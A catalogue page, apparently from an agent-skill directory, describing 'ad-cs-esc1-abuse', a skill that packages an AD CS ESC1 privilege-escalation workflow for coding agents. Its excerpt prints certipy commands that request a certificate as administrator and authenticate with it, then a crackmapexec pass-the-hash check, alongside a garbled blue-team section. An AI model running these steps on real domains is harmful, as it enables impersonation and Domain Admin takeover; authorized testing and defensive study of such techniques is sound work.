ad-cs-esc1-abuse

ad-cs-esc1-abuse is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 78 tokens per session (1,063 once invoked), scanned A, original, MIT.

Instructions for testing a specific misconfiguration in Active Directory Certificate Services, the Windows system that manages digital identity certificates. ESC1 can allow an authorized security tester to request a certificate containing another user's identity.

In plain words
What is it for?
Use it during an authorized security assessment to identify vulnerable certificate templates, request a test certificate, authenticate with it, and document the evidence.
Why use it?
A vulnerable certificate template may let an attacker impersonate a more privileged account and gain higher access in a Windows domain.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Good fit Use it during an authorized security assessment to identify vulnerable certificate templates, request a test certificate, authenticate with it, and document the evidence.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/ad-cs-esc1-abuse

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ad-cs-esc1-abuse

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ad-cs-esc1-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 78 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,063 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00078 $0.01063
Opus 5.5 $0.00031 $0.00425
Sonnet 5.5 $0.00016 $0.00213
Haiku 4.5 $0.00008 $0.00106

Measured 3mo ago against content hash 3ac04f5250fd, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

ad-cs-esc1-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/ad-cs-esc1-abuse/SKILL.md · 122 lines

How it starts

The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AD CS Abuse - ESC1 (Subject Alternative Name)

When to Use

  • When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
  • To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)

# Concept: ESC1 ```

```bash
# certipy find -u [email protected] -p Password123! -dc-ip 10.10.10.10 -vulnerable

Phase 2: Requesting the Certificate

# Concept: With a vulnerable template certipy req -u [email protected] -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn [email protected]

Phase 3: Authenticating with the Certificate (Pass-the-Certificate)

# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local

Phase 4: Validating Access

# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
Decision Point 🔀
flowchart TD
    A[Find Template ] --> B{ESC1 Vulnerable ]}
    B -->|Yes| C[Request ]
    B -->|No| D[Check ]
    C --> E[Auth ]

🔵 Blue Team Detection & Defense

  • Audit Templates: Monitor Event Logs: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Read the full file on GitHub · 122 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 122 lines · 78 tokens per session scan A 3ac04f5250fd

Subscribe to this mod's changes

ad-cs-esc1-abuse is a skill published in the GitHub repository ShulkwiSEC/bb-huge (27 stars, last pushed 4mo ago), licensed MIT. It adds 78 tokens to every session and 1,063 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

ad-cs-esc1-abuse compared with skills from other repositories

ad-cs-esc1-abuse next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
ad-cs-esc1-abuseShulkwiSEC/bb-hugeSkill274mo agoMITA78Claude Code, Codex
ad-cs-esc1-abuseakashrpatil/awesome-offensive-security-skillsSkill257mo agoApache-2.0A78Claude Code
performing-active-directory-penetration-testxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A48Claude Code, Codex
analyzing-active-directory-acl-abusemukul975/Anthropic-Cybersecurity-SkillsSkill37k3mo agoApache-2.0A36Claude Code
abusing-shadow-credentials-for-privescmukul975/Anthropic-Cybersecurity-SkillsSkill37k3mo agoApache-2.0A97Claude Code
pentesting-ldapxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A99Claude Code, Codex
analyzing-active-directory-acl-abusexalgorix/xalgorixSkill1.5kyesterdayApache-2.0A36Claude Code, Codex